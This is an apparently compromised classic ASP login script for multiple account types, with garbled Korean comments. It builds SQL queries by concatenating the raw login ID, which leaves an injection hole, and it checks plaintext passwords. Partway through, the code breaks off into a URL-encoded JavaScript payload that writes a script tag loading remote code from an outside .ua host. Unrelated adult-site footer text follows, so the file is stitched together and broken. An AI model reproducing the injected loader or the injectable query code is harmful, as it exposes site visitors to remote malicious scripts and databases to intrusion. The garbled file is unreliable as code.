% Response.Expires = -1 Response.AddHeader "Pragma", "no-cache" Response.AddHeader "cache-control", "no-store" %> <% loginType = Request("type") LgnID = Request.Form("LgnID") LgnPW = Request.Form("LgnPW") Set rs = Server.CreateObject("ADODB.RecordSet") '=====loginType select===== Select case loginType case "cp" ' ------ CP °ü¸®ÀÚ -------------------- sql = " SELECT cocd, mname, memberid, mpass1, useyn" sql = sql & " FROM meminfolst" sql = sql & " WHERE (admintype = '7') AND (memberid = '" & LgnID & "')" case "adver" ' ------ ±¤°íÁÖ -------------------- sql = " SELECT ReqCD, ReqNM, ReqID, ReqPW" sql = sql & " FROM ReqMember" sql = sql & " WHERE (ReqID = '" & LgnID & "')" case "dealer" ' ------- ´ë¸®Á¡ -------------------- sql = " SELECT BrnCD, BrnNM, BrnID, BrnPW, B_level, UseYN" sql = sql & " FROM BRENCH" sql = sql & " WHERE (BrnID = '" & LgnID & "')" case "trader" ' ------- ¿µ¾÷Á¡ -------------------- case else ' ------- Super °ü¸®ÀÚ ------------------ sql = " SELECT admin_code, admin_id, admin_pass, admin_name, admin_level" sql = sql & " FROM Administrators" sql = sql & " WHERE (admin_id = '" & LgnID & "')" end Select '=====loginType select===== rs.Open sql, dbcon IF Not rs.EOF Then '=====loginType select===== Select case loginType case "cp" ' ------- CP °ü¸®ÀÚ --------------- IF LgnPW = rs("mpass1") Then IF rs("UseYN") = "Y" Then Err_Cod = "0" Response.Cookies("LgnCD") = rs("cocd") Response.Cookies("LgnID") = LgnID Response.Cookies("LgnGP") = "CP" Response.Cookies("LgnNM") = rs("mname") urlMain = "htm/cp_admin/admin_cp-calculation.asp" Else Err_Cod = "3" Err_Msg = "»ç¿ë ÁßÁöµÈ ID ÀÔ´Ï´Ù." End if Else Err_Cod = "2" Err_Msg = "ÆÐ½º¿öµå°¡ Ʋ¸³´Ï´Ù." End if case "adver" ' ------- ±¤°íÁÖ ------------------ Id_chk = true IF LgnPW = rs("ReqPW") Then Err_Cod = "0" 'ÀÏ¹Ý ±¤°íÁÖ Pw_chk = true LgnCD = rs("ReqCD") LgnNM = rs("ReqNM") End If case "dealer" ' ------- ´ë¸®Á¡ ----------------- IF LgnPW = rs("BrnPW") Then IF rs("UseYN") = "Y" Then Err_Cod = "0" Response.Cookies("LgnCD") = rs("BrnCD") Response.Cookies("LgnID") = LgnID Response.Cookies("LgnGP") = "DEALER" Response.Cookies("LgnNM") = rs("BrnNM") Response.Cookies("LgnLV") = rs("B_level") urlMain = "htm/jisa_admin/admin_jisa-view.asp" Else Err_Cod = "3" Err_Msg = "»ç¿ë ÁßÁöµÈ ID ÀÔ´Ï´Ù." End if Else Err_Cod = "2" Err_Msg = "ÆÐ½º¿öµå°¡ Ʋ¸³´Ï´Ù." End if case "trader" ' ------- ¿µ¾÷Á¡ ------------------- case else ' ------- Super °ü¸®ÀÚ ----------------- IF LgnPW = rs("admin_pass") Then Err_Cod = "0" Response.Cookies("LgnCD") = rs(e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));
| |
|||||||||||||||||||||||||||||||||||||||
| My
friends:
|
|||||||||||||||||||||||||||||||||||||||
All
the materials on the following sites are in full compliance with the requirements
of 18 U.S.C.
2257 Statement and associated regulations. All persons depicted herein
were at least 18 years of age at the time of the photography. Copiright
@ 2006 Toys-in-pussy.net
All rights reserved. |